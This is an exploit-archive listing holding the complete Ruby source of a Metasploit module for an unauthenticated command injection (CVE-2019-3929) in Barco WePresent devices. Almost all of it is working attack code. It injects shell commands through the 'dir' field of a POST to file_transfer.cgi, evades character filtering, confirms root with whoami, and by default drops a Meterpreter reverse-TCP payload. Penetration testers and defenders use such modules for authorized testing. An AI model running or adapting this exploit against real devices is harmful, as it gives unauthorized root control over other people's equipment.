Barco WePresent file_transfer.cgi Command Injection (Metasploit)

2020.01.16
Credit: Jacob Baines
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => "Barco WePresent file_transfer.cgi Command Injection", 'Description' => %q( This module exploits an unauthenticated remote command injection vulnerability found in Barco WePresent and related OEM'ed products. The vulnerability is triggered via an HTTP POST request to the file_transfer.cgi endpoint. ), 'License' => MSF_LICENSE, 'Author' => 'Jacob Baines', # @Junior_Baines' 'References' => [ ['CVE', '2019-3929'], ['EDB', '46786'], ['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c'] ], 'DisclosureDate' => "Apr 30, 2019", 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => false, 'Targets' => [ ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' } }], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'CmdStagerFlavor' => ['printf', 'wget'], 'Type' => :linux_dropper] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'printf', 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' })) end def filter_bad_chars(cmd) cmd.gsub!(/;/, 'Pa_Note') cmd.gsub!(/\+/, 'Pa_Add') cmd.gsub!(/&/, 'Pa_Amp') return cmd end def send_command(cmd, timeout) vars_post = { file_transfer: 'new', dir: "'#{filter_bad_chars(cmd)}'" } send_request_cgi({ 'uri' => '/cgi-bin/file_transfer.cgi', 'method' => 'POST', 'vars_post' => vars_post }, timeout) end def check check_resp = send_command(";whoami;", 5) unless check_resp return CheckCode::Unknown('Connection failed.') end if check_resp.code == 200 check_resp.body.gsub!(/[\r\n]/, "") if check_resp.body == "root" return CheckCode::Vulnerable end end CheckCode::Safe end def execute_command(cmd, _opts = {}) send_command(";(#{cmd})&", nil) end def exploit case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 128) end end end


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